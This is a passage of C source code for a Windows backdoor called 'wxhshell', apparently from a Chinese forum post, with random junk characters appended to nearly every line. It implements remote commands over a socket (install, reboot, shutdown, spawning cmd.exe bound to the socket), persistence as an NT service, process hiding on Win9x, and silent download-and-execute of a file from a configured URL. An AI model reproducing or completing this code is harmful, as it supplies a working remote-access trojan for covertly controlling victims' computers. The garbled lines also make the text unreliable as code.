  // 帮助 Qr*7bE(a  
  case '?': { :.F;LF&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2[Bw+<YA`  
    break; s!j vBy  
  } r[kmgPld  
  // 安装 p!p:LSk"/b  
  case 'i': { &v&e- |r8;  
    if(Install()) d?1[xv;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4*_.m9{  
    else q-d#bKIf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gbc2\A\  
    break; l=ZX9<3  
    } !l#n.Fx&3  
  // 卸载 HmVpxD+  
  case 'r': { V=5v7Y3( j  
    if(Uninstall()) ZD`0(CkXb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]MV=@T^8#  
    else aX(Y `g)|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pwr]lV$w  
    break; +p_>fO  
    } 35fsr=  
  // 显示 wxhshell 所在路径 =F90SyzTy  
  case 'p': { GF^ ?#Jh  
    char svExeFile[MAX_PATH]; v[=TPfX0  
    strcpy(svExeFile,"\n\r"); 3q:>NB<  
      strcat(svExeFile,ExeFile); w2o5+G=  
        send(wsh,svExeFile,strlen(svExeFile),0); ?UV!^w@L:0  
    break; "*0h=x$  
    } \TTt!"aK  
  // 重启 " )/febBS  
  case 'b': { dI$M9;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @}iY(-V  
    if(Boot(REBOOT)) @DA.$zn&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >p@v'h/Cr  
    else { ])uhm)U@  
    closesocket(wsh); a;[=b p  
    ExitThread(0); /;a b"b  
    } Vo:Gp  
    break; =6LF_=}  
    } {/PiX1mn  
  // 关机  Vq K/GWg  
  case 'd': { Iji9N!Yx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8S*W+l19f  
    if(Boot(SHUTDOWN)) Hlye:.$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ju{\7X5  
    else { mnS F=l;;  
    closesocket(wsh); qJf=f3  
    ExitThread(0); 8^|lsB}x?  
    } 4J6,_8`U  
    break; t~@~XI5  
    } a2\r^fY/  
  // 获取shell QvjOOc@k~n  
  case 's': { z9 )I@P"  
    CmdShell(wsh); NM:\T1  
    closesocket(wsh); JVk"M=c  
    ExitThread(0); i#W0  
    break; Dhy@!EOS  
  } S@PAtB5  
  // 退出 Eggdj+  
  case 'x': { ( 17=|s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P]b * hC  
    CloseIt(wsh); .S =^)  
    break; ~99DE78  
    } :^oF0,-qZ  
  // 离开 FSn&N2[D  
  case 'q': { 8#&axg?a  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Zn]njf1x  
    closesocket(wsh); GN%|'eU  
    WSACleanup(); G(6MLh1  
    exit(1); e;ej/)no`  
    break; X[Q:c4'  
        } zPKx: I3  
  } 8kwe._&)  
  } cun&'JOH?U  
G^Q8B^Lg  
  // 提示信息 :xz,PeXo7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1ehl=WN  
}  edv&!  
  } 1>"[b8a/  
q;<=MO/  
  return; [hl8LP+~  
} CCQ38P@rv  
6bXR?0$*M.  
// shell模块句柄 wxx3']:  
int CmdShell(SOCKET sock) @ppT;9<d  
{ yaD_c;  
STARTUPINFO si; [G/ti&Od^  
ZeroMemory(&si,sizeof(si)); |)vC^=N{+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v==b. 2=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; g} /efE  
PROCESS_INFORMATION ProcessInfo;  ~;#OQ[  
char cmdline[]="cmd"; WE|-zo  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <HC5YA)4  
  return 0; Z&VH7gi  
} 1"4Pan  
k,mgiGrQ  
// 自身启动模式 (WISf}[l;  
int StartFromService(void) #S*`7MvM  
{ ~5Cid)Q}@o  
typedef struct e2 X\ll  
{ =5v=<, ]  
  DWORD ExitStatus; ZHWxU  
  DWORD PebBaseAddress; Z@G[\"  
  DWORD AffinityMask; oY K(=j  
  DWORD BasePriority; |v6kZ0B<  
  ULONG UniqueProcessId; %]m/fo4b  
  ULONG InheritedFromUniqueProcessId; "^UJC-  
}   PROCESS_BASIC_INFORMATION; P,}cH;w6Ck  
@> ]O6P2  
PROCNTQSIP NtQueryInformationProcess; R iPxz=kr  
pmIOV~K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m 3 Y@p$i5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z?);^m|T  
;tZ;C(;<  
  HANDLE             hProcess; .EF(<JC?  
  PROCESS_BASIC_INFORMATION pbi; vo]!IY  
I+VL~'VlS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y$Rr,]L  
  if(NULL == hInst ) return 0; o^!_S5zKe.  
`Pcbc\"*y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T{"[Ih3Mbl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Q@w*ta)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3!H&bOF  
w1&\heSQ  
  if (!NtQueryInformationProcess) return 0; j v4O  
J2BCaAwEP,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T@4R|P&{)  
  if(!hProcess) return 0; "?X,);5S  
5{"v/nXV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]VkM)< +  
N*w6D:  
  CloseHandle(hProcess); ^7Hwpn7E  
)/y7Fh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z0'&@P$  
if(hProcess==NULL) return 0; <3)k M&.B  
s;ivoGe}  
HMODULE hMod; @fc-[pv  
char procName[255]; CQANex4&\  
unsigned long cbNeeded; VRs|";  
[X%Wg:K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lZr}F.7  
kdP*{  
  CloseHandle(hProcess); #>ob1b|  
)yt_i'D}  
if(strstr(procName,"services")) return 1; // 以服务启动 M/mm2?4  
yp!7^  
  return 0; // 注册表启动 B" 0a5-pkr  
} Mp7X+o/  
0#S#v2r5  
// 主模块 gWu<5Y=C  
int StartWxhshell(LPSTR lpCmdLine) {6tj$&\)  
{ `6:B0-r  
  SOCKET wsl; YctWSfh  
BOOL val=TRUE; >\o._?xSA  
  int port=0; FX1H2N(  
  struct sockaddr_in door; UasU/Q <   
dJjkH6%}  
  if(wscfg.ws_autoins) Install(); !kS/Ei  
-hY@r 7y  
port=atoi(lpCmdLine); F;L8FL-  
0NF=7 j  
if(port<=0) port=wscfg.ws_port; |E9'ii&?B  
(2Z k fN  
  WSADATA data; &\y`9QpVF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M5kw3Jy5  
we/sv9v}n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >/4N:=.h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]5r@`%9  
  door.sin_family = AF_INET; NZ"nG<;5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !<3!ORFO  
  door.sin_port = htons(port); )*XD"-9  
5HaI$>h6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +# 3e<+!F  
closesocket(wsl); $Jo4n>/  
return 1; D&{CC  
} KL yI*`  
neQ~h4U"  
  if(listen(wsl,2) == INVALID_SOCKET) { +Qf<*  
closesocket(wsl); klR\7+lK  
return 1; %:v<&^oDlm  
} ?<` ;lu/eL  
  Wxhshell(wsl); q B IekQT  
  WSACleanup(); Z (t7QFd  
S Rk%BJ? ~  
return 0; BwkY;Ur/AL  
J&iSS9c  
} {;N2 &S o  
@,j,GE%  
// 以NT服务方式启动 Eq%f`Qg+1E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K3Bw3j 9  
{ @qpj0i+>*  
DWORD   status = 0; \Si p  
  DWORD   specificError = 0xfffffff; ('{aOiSH  
W*Si"s2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T%;V_iW-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >C19Kie72  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ah%Ws#&  
  serviceStatus.dwWin32ExitCode     = 0; T(qTipq0  
  serviceStatus.dwServiceSpecificExitCode = 0; d@p#{ -  
  serviceStatus.dwCheckPoint       = 0; 5rmU9L  
  serviceStatus.dwWaitHint       = 0; Mg2e0}{  
Vm[F~2+HX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IJ~j(.W  
  if (hServiceStatusHandle==0) return; 4BSqL!i(  
zO---}[9a  
status = GetLastError(); sPG500=)  
  if (status!=NO_ERROR) ;*$e8y2  
{ fZj,Q#}D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t>AOF\  
    serviceStatus.dwCheckPoint       = 0; [_nOo`  
    serviceStatus.dwWaitHint       = 0; $4^SWT.  
    serviceStatus.dwWin32ExitCode     = status; :EAh%q  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0QT:@v2R  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yQ$]`hr;  
    return; S2e3d  
  } b*.aaOb  
33EF/k3vW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +ZwoA_k{  
  serviceStatus.dwCheckPoint       = 0; 6Iqy"MQuq  
  serviceStatus.dwWaitHint       = 0; q" f65d4c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E*u*LMm  
} ?].MnwYo  
e6>G8d  
// 处理NT服务事件,比如:启动、停止 #-\5O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) & W od  
{ ZMb+sUK  
switch(fdwControl) -2; 6Pwmv  
{ Ku%tM7ad  
case SERVICE_CONTROL_STOP: rD~/]y)t  
  serviceStatus.dwWin32ExitCode = 0; '.1P\>x!]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !8[T*'LJ-  
  serviceStatus.dwCheckPoint   = 0; u\Ylo.)b  
  serviceStatus.dwWaitHint     = 0; #|ts1lD#ah  
  { H7GI`3o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aTTkj\4  
  } Ga5*tWj  
  return; )\#*~73  
case SERVICE_CONTROL_PAUSE: |67Jw2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gDVsi  
  break; 6{buel(|e  
case SERVICE_CONTROL_CONTINUE: N?ccG\t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C[<}eD4bV  
  break; UuWIT3W>%  
case SERVICE_CONTROL_INTERROGATE: tg@61V?>  
  break; )b #5rQ  
}; dazNwn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wKLYyetM!  
} ?E"192 ,z@  
n2bhCd]j<b  
// 标准应用程序主函数 D,}bTwRb-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vo@7G@7K(  
{ ?"mZb#%  
5[Vr {^)  
// 获取操作系统版本 hm1s~@oEm  
OsIsNt=GetOsVer(); ~ tA ^K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q3 8+`EhLA  
N:)x67,  
  // 从命令行安装 ~^1y(-cw  
  if(strpbrk(lpCmdLine,"iI")) Install(); z3uR1vF'  
k_,7#:+  
  // 下载执行文件 bO\++zOF  
if(wscfg.ws_downexe) { `/PBZnj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bW6| &P}X  
  WinExec(wscfg.ws_filenam,SW_HIDE); ] #@:VR  
} 3p=Xv%xd  
EwzR4,r\M  
if(!OsIsNt) { oZiW4z*Wh  
// 如果时win9x,隐藏进程并且设置为注册表启动 iAk:CJ{  
HideProc(); {Nl?  
StartWxhshell(lpCmdLine); '#f<wf n  
} .jCGtR )%  
else y''~j<'  
  if(StartFromService()) {s mk<NL  
  // 以服务方式启动 SA +d4P_T  
  StartServiceCtrlDispatcher(DispatchTable); o}v<~v(  
else EfEgY|V0  
  // 普通方式启动 -i`jS_-Cv-  
  StartWxhshell(lpCmdLine); S[zvR9AW&  
 4u:SE   
return 0; jsN[Drra  
}
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只看该作者 1 发表于: 2006-10-10
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